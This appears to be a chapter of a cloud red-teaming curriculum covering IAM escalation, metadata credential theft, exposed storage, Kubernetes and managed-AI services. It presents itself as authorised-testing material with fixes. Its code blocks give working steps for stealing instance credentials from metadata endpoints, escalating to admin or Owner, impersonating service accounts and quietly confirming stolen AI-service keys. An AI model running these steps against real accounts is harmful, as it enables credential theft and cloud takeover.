V.2The infrastructureattack
Cloud security & red-teaming - AWS, Azure, GCP
Authorized use only Defensive and educational material, for authorized testing and sanctioned engagements. Run techniques only against systems you own or are explicitly permitted to assess.
Every AI system runs on AWS, Azure, or GCP, so a cloud weakness is an AI weakness - and a cloud pentest asks not “what can a user of the app do” but “what can an attacker who has compromised one credential, instance, or service reach from there?”
V.1 · Where AI runs taught you what the cloud is; this is how you test it. That assumed-breach question is a different scope from a web-app test, and it’s where the findings that matter live: IAM (identity and access management) privilege escalation, metadata credential theft, exposed storage, and lateral movement across services.
flowchart TB FOOT["Foothold<br/>leaked key · SSRF<br/>exposed service"] --> ENUM["Enumerate<br/>identity · resources<br/>permissions"] ENUM --> PRIV["Privilege escalation<br/>permission combos<br/>trust abuse"] PRIV --> LAT["Lateral movement<br/>cross-service<br/>cross-account"] LAT --> EXFIL["Impact<br/>data exfil · persistence"] classDef o fill:#241310,stroke:#ff5b4d,color:#ffc4bb; class FOOT,ENUM,PRIV,LAT,EXFIL o;
The same shape on all three providers; only the service names and the privilege-escalation tricks differ. An AI surface (a common foothold - VI.4 · AI red-team playbook §9) drops you into exactly this chain.
The provider trinity - same concepts, different names
| Concept | AWS | Azure | GCP |
|---|---|---|---|
| Identity | IAM (users, roles, policies) | Entra ID (formerly Azure AD) + RBAC | Cloud IAM (members, roles, service accounts) |
| Object storage | S3 buckets | Blob Storage (containers) | Cloud Storage buckets |
| Compute | EC2 · Lambda | VMs · Functions | Compute Engine · Cloud Functions |
| Secrets | Secrets Manager · SSM · KMS | Key Vault | Secret Manager · Cloud KMS |
| Metadata service | IMDS (169.254.169.254) | IMDS (169.254.169.254) | Metadata server (metadata.google.internal) |
| Audit log | CloudTrail | Activity Log / Entra logs | Cloud Audit Logs |
| Org boundary | Accounts / Organizations | Subscriptions / Tenants | Projects / Org |
Learn the concepts once and you can test any of the three; the names are just translation. Note the metadata service - a high-value cloud-pentest target, below.
The methodology - recon to impact
A cloud red-team walks the same five phases as the diagram - here is what you actually do at each.
1 Foothold - how you get in
The starting credential or access. Common origins on a real engagement: a leaked access key (in a git repo, a CI log, a public bucket), an SSRF in the application (a common AI foothold - VI.4 · AI red-team playbook §9) that reaches the metadata service, an exposed service with no auth, or a credential the client provides for an “assumed-breach” test (the most common and realistic scope).
The metadata-service move If you have SSRF or code-exec on an instance, request the cloud metadata endpoint - on AWS/Azure 169.254.169.254, on GCP metadata.google.internal - to retrieve the instance’s temporary IAM credentials. That hands you the instance’s role and drops you straight into enumeration. The defense is IMDSv2 (session-token-bound) on AWS and blocking metadata egress.
2 Enumerate - map what the credential can see
With any credential, even low-privilege, systematically map the environment: which identity am I, what can I do, what resources exist. This is the cloud equivalent of internal network enumeration.
# --- Metadata credential theft via SSRF / code-exec on an instance ---# IMDSv1 (no token) - instant creds if not hardened:curl http://169.254.169.254/latest/meta-data/iam/security-credentials/curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name># IMDSv2 (session-token bound) - two-step:TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token \ -H 'X-aws-ec2-metadata-token-ttl-seconds: 60')curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \ http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name># GCP equivalent (note the required header):curl -s -H 'Metadata-Flavor: Google' \ "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# --- Enumerate identity & permissions ---aws sts get-caller-identityaws iam get-account-authorization-details > iam.json # full IAM picture (if permitted)az account show ; az role assignment list # Azuregcloud auth list ; gcloud projects get-iam-policy <project-id> # GCP
# --- Graph the IAM escalation paths (don't guess) ---pip install principalmapperpmapper graph createpmapper query 'preset privesc *' # who can escalate to adminpmapper visualize --filetype svg # export the graph
# --- Pacu: run privesc enumeration modules ---pacu # then, inside the session:# set_keys ; run iam__enum_permissions ; run iam__privesc_scanAutomate posture review with the standard auditing tools: ScoutSuite (multi-cloud, 400+ rules, HTML report) and Prowler (multi-cloud - AWS/Azure/GCP, CIS-benchmark aligned) flag IAM misconfigs, public storage, weak network rules by severity. For offensive situational awareness, CloudFox surfaces the exploitable attack paths across AWS/Azure/GCP that a compliance scanner won’t. Run these first for breadth, then go manual for the chained findings scanners miss.
Exposed-storage checks Take the candidate bucket/account names from the resource enumeration above and test each for anonymous read - the checklist’s #2 finding is a handful of read-only probes. List and note reachability; do not download.
# --- AWS S3: anonymous listing on a candidate bucket (request unsigned) ---aws s3 ls s3://<candidate-bucket> --no-sign-request# If you hold a credential, confirm WHO can read it - ACL grantees + public flag:aws s3api get-bucket-acl --bucket <candidate-bucket>aws s3api get-bucket-policy-status --bucket <candidate-bucket> # IsPublic: true?
# --- Azure Blob: enumerate a storage account's containers/blobs ---az storage container list --account-name <acct> --auth-mode loginaz storage blob list --account-name <acct> -c <container> --auth-mode login# Truly anonymous (public container) - hit the blob REST list endpoint, no login:curl "https://<acct>.blob.core.windows.net/<container>?restype=container&comp=list"
# --- GCP Cloud Storage: anonymous recursive listing on gs:// ---gcloud storage ls -r gs://<candidate-bucket>/** # or: gsutil ls -r gs://<bucket># The exposure is an allUsers / allAuthenticatedUsers binding on the bucket IAM:gcloud storage buckets get-iam-policy gs://<candidate-bucket> --format=json \ | jq '.bindings[] | select(.members[]|test("allUsers|allAuthenticatedUsers"))'The fix is one setting per provider: S3 Block Public Access (account + bucket), the storage account’s “allow blob anonymous access = disabled” on Azure, and uniform bucket-level access plus public access prevention on GCP - and the exposed corpus is the V.3 · The data layer RAG/vector data more often than not.
3 Privilege escalation - the heart of a cloud test
The defining cloud finding: a low-privilege identity reaching admin through a combination of permissions, a trust relationship, or a policy flaw. You’re looking for permission sets that let you grant yourself more.
Classic AWS escalation patterns An identity with iam:CreatePolicyVersion can rewrite its own policy to admin; lambda:CreateFunction + iam:PassRole lets you run code as a more-privileged role; iam:CreateAccessKey on another user lets you become them. There are dozens of these known paths.
GCP privesc - impersonation is the iam:PassRole of Google Cloud The permission iam.serviceAccounts.actAs (paired with a deploy permission) lets you run a job as a more-privileged service account - the direct analog of AWS iam:PassRole. The cleaner escalation is direct impersonation: iam.serviceAccounts.getAccessToken lets you mint a short-lived token for any SA you can act on, and those tokens can be chained (A impersonates B impersonates C) up to an admin identity. Impersonation leaves no key artifact, so it evades static-credential hunting - it only shows in the GenerateAccessToken Data Access audit event, which is off by default.
# Enumerate which SAs your identity can act on / impersonate:gcloud iam service-accounts listgcloud iam service-accounts get-iam-policy <sa-email> \ --format=json | jq '.bindings[]' # look for getAccessToken / actAs on you# Mint a token for a more-privileged SA and use it directly:gcloud auth print-access-token \ --impersonate-service-account=<privileged-sa-email># Then run any gcloud call with --impersonate-service-account=<sa> to act as it.Azure privesc - Managed Identity + role-assignment abuse The IMDS at 169.254.169.254 hands any process on a VM an OAuth bearer token for its assigned Managed Identity - no session-token step, unlike AWS IMDSv2. If that identity (or any principal you reach) holds Microsoft.Authorization/roleAssignments/write, you can grant yourself Owner at the same scope - the canonical Azure escalation. Other one-shot paths: a Key Vault access policy that leaks privileged secrets, or Microsoft.Compute/virtualMachines/runCommand to execute as a VM’s identity.
# Grab an ARM token from IMDS (single unauthenticated request):curl -s -H Metadata:true \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"# With that token (or az login), test the escalation precondition, then grant Owner:az role assignment create --assignee <your-object-id> \ --role Owner --scope /subscriptions/<sub-id># Prove reachability, then STOP and note remediation (least-privilege, no self-grant).Map it, don’t guess Use pmapper (Principal Mapper) to build a graph of users/roles and have it compute the escalation paths automatically; Pacu (AWS exploitation framework) enumerates permissions and tests the paths. On Azure, MicroBurst enumerates Entra ID and resources. The skill is reading the graph: “this service account can launch compute and pass a role → it can run as that role → that role is admin.”
# Precondition (from pmapper/enum): current identity can set a new default# version on a policy attached to itself.ARN=arn:aws:iam::<acct-id>:policy/<attached-policy>
# Craft an admin policy document:cat > admin.json <<'EOF'{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}EOF
# Create a new version AND make it the default in one call:aws iam create-policy-version --policy-arn "$ARN" \ --policy-document file://admin.json --set-as-default
# Prove the new permission resolves (read-only check - do NOT act on it):aws iam simulate-principal-policy \ --policy-source-arn <your-identity-arn> \ --action-names 'iam:CreateUser' 's3:*' | jq '.EvaluationResults[].EvalDecision'# Document the reachable admin, then STOP and note remediation (least-privilege).4 Lateral movement - pivot across the estate
From one identity/service, reach others. Cross-account/subscription trust relationships (a role that can be assumed from another account), over-shared service accounts, network paths into private subnets, and inter-service trust (a compute instance trusted by a database). Government estates with many subscriptions/projects make trust misconfiguration a rich surface.
AI relevance This is where an AI foothold becomes a breach: an injected agent (VI.4 · AI red-team playbook §3) holding a broad role, or an SSRF’d instance, lets you pivot from the AI workload into the wider cloud - the The 2026 incident board incident pattern (Azure SRE Agent, the RDS-gateway pivot in VI.4 · AI red-team playbook §11).
5 Impact & persistence - prove it, safely
Demonstrate the consequence without causing harm: reach (don’t exfiltrate) the “crown-jewel” data, show you could create a backdoor identity or tamper with the audit log (CloudTrail/Activity Log), then stop and document. On an authorized test you prove reachability; you don’t detonate.
Logging is a target and your safety net Note whether you could disable or evade CloudTrail/Cloud Audit Logs (a real attacker would) - and rely on those same logs to scope what your test touched.
Kubernetes - the AI-workload attack surface
Most AI training and serving runs on managed Kubernetes (EKS / GKE / AKS), so a pod compromise (RCE or SSRF in a model server, notebook, or agent container) is a common foothold. Two moves matter.
The pod-to-node IMDS hop From inside a pod you can often reach the node’s metadata service and steal the worker node’s instance credentials - which are far broader than the pod’s own. On EKS the request travels pod veth -> node bridge -> IMDS, which is 2 network hops, so the control is setting the node’s IMDSv2 http-put-response-hop-limit to 1 (plus IMDSv2-only), which times out the pod’s request. GKE blocks this with a concealment/metadata proxy; AKS relies on the same host-firewall pattern. Test it exactly like the metadata move above, from a pod shell.
Service-account token abuse and the modern credential binding Every pod is issued a Kubernetes service-account token (mounted at /var/run/secrets/kubernetes.io/serviceaccount/token); a compromised pod hands it to the attacker, who can then query the K8s API for whatever RBAC that SA holds. The cloud-credential binding is the higher-value target:
| Binding | How the pod gets cloud creds | Abuse if you own the pod |
|---|---|---|
| IRSA (EKS, IAM Roles for Service Accounts) | pod SA token exchanged via OIDC for an IAM role | assume the bound IAM role; if over-scoped, pivot into AWS |
| EKS Pod Identity | agent on the node vends role creds per-pod | same - inherit the pod’s IAM role |
| GKE Workload Identity | GKE metadata server exchanges the K8s SA token (via STS) for a GCP token | act as the bound GCP service account (see impersonation, above) |
| Azure Workload Identity | projected SA token federated to an Entra app | grab a Managed-Identity-equivalent ARM token |
The finding is almost always over-broad binding: a pod’s SA mapped to a cloud role with far more than that workload needs, turning one container RCE into a cloud foothold. Grep the RBAC and the role trust policy, not just the pod. Cross-ref agent identity/NHI controls in IV.6 · Agent identity & access (NHI).
# The mounted K8s service-account token (JWT) and namespace:cat /var/run/secrets/kubernetes.io/serviceaccount/tokencat /var/run/secrets/kubernetes.io/serviceaccount/namespace# What can this SA do in-cluster (RBAC)?kubectl auth can-i --list# EKS/IRSA: the injected role ARN is an env var -> assume it:env | grep -i AWS_ROLE_ARNaws sts get-caller-identity # resolves to the bound IAM role, not the nodeManaged AI services as targets - Bedrock, Azure OpenAI, Vertex AI, SageMaker
Once you hold a cloud credential, the managed-AI service itself is a target - both for LLMjacking (running inference at someone else’s expense, the CSA-tracked black-market economy) and for model/data exfil. The attacker script in the original Sysdig LLMjacking research validated stolen creds against ten AI platforms including Bedrock, Azure, and Vertex AI. The pattern is identical across providers: enumerate what’s reachable, confirm the creds work quietly, then invoke or exfiltrate.
| Provider | Enumerate | Confirm / exfil path |
|---|---|---|
| Amazon Bedrock | bedrock:ListFoundationModels, GetFoundationModelAvailability, ListCustomModels, ListKnowledgeBases | InvokeModel (LLMjacking); pull fine-tuned custom models and knowledge-base (RAG) documents |
| Azure OpenAI | list deployments on the resource (az cognitiveservices account deployment list) | call the deployment’s /chat/completions with the resource key |
| Vertex AI (GCP) | gcloud ai models list, gcloud ai endpoints list | :predict on a deployed endpoint; read training data / tuned models in the bucket |
| Amazon SageMaker | ListEndpoints, ListNotebookInstances, ListModels | InvokeEndpoint; notebook instances often hold broad roles + the metadata hop |
Quiet confirmation The known LLMjacking tell is calling InvokeModel with an invalid parameter (e.g. max_tokens_to_sample = -1) so the resulting ValidationException proves access without generating billable output or obvious inference logs. On an authorized test, note the reachable models and the exfil path, then stop - do not run inference at scale or pull the corpus.
aws bedrock list-foundation-models --query 'modelSummaries[].modelId'aws bedrock list-custom-models ; aws bedrock-agent list-knowledge-basesaz cognitiveservices account deployment list -n <aoai-resource> -g <rg>gcloud ai endpoints list --region=<region> # Vertex AI deployed endpointsaws sagemaker list-endpoints --query 'Endpoints[].EndpointName'Model-serving reachability and the RAG/vector corpus itself are covered in I.5 · The model artifact & its supply chain and V.3 · The data layer; this is the managed-service control-plane angle.
The findings that recur (your checklist)
- Over-permissive IAM -
*:*policies, admin where read-only suffices, escalation chains. The most common and highest-impact finding. - Public / exposed storage - world-readable S3 buckets / blobs / GCS, often holding data, backups, or the RAG corpus and vectors (V.3 · The data layer).
- Metadata service exposure - reachable via SSRF, no IMDSv2 - instant credential theft.
- Credential hygiene - long-lived access keys, no MFA on privileged accounts, unused/orphaned service accounts (the NHI - non-human identity - sprawl of IV.6 · Agent identity & access (NHI)).
- Network exposure - security groups open to
0.0.0.0/0on admin ports, databases/queues reachable without auth, sensitive workloads in public subnets. - Cross-account/subscription trust - role assumptions enabling lateral movement.
- Over-broad Kubernetes cloud binding - a pod SA (IRSA / GKE or Azure Workload Identity) mapped to a cloud role with far more than the workload needs; node IMDS reachable from pods (hop-limit not 1).
- Managed-AI exposure - LLMjackable Bedrock/Azure OpenAI/Vertex/SageMaker access, reachable custom models and knowledge bases.
- Exposed AI infra - unauthenticated model-serving endpoints, vector DBs, MLOps consoles (I.5 · The model artifact & its supply chain, V.3 · The data layer).
Rules of engagement - non-negotiable
The toolchain
Audit/recon: ScoutSuite (multi-cloud), Prowler (AWS/Azure/GCP, CIS), CloudMapper (network diagrams). Offensive situational awareness: CloudFox (exploitable attack paths across AWS/Azure/GCP). IAM analysis: pmapper (escalation graphs), Cloudsplaining (IAM policy risk). Exploitation: Pacu (AWS), MicroBurst / ROADtools (Azure/Entra), and Stratus Red Team for reproducing named GCP/AWS/Azure privesc techniques (e.g. SA impersonation) in a lab. Kubernetes: kubectl + kubectl auth can-i --list for RBAC, kube-hunter / Peirates for in-cluster escalation and the pod-to-node hop. Native CLIs (aws/az/gcloud) for manual enumeration. Pattern: scanners for breadth → graph the IAM → manual chaining for the findings that matter → re-scan after remediation to prove the fix. Map every finding to CIS benchmarks + AIVSS severity (VIII.4 · ISO/IEC 42001, verification & maturity) and report in the two-audience format (VI.5 · Running the engagement).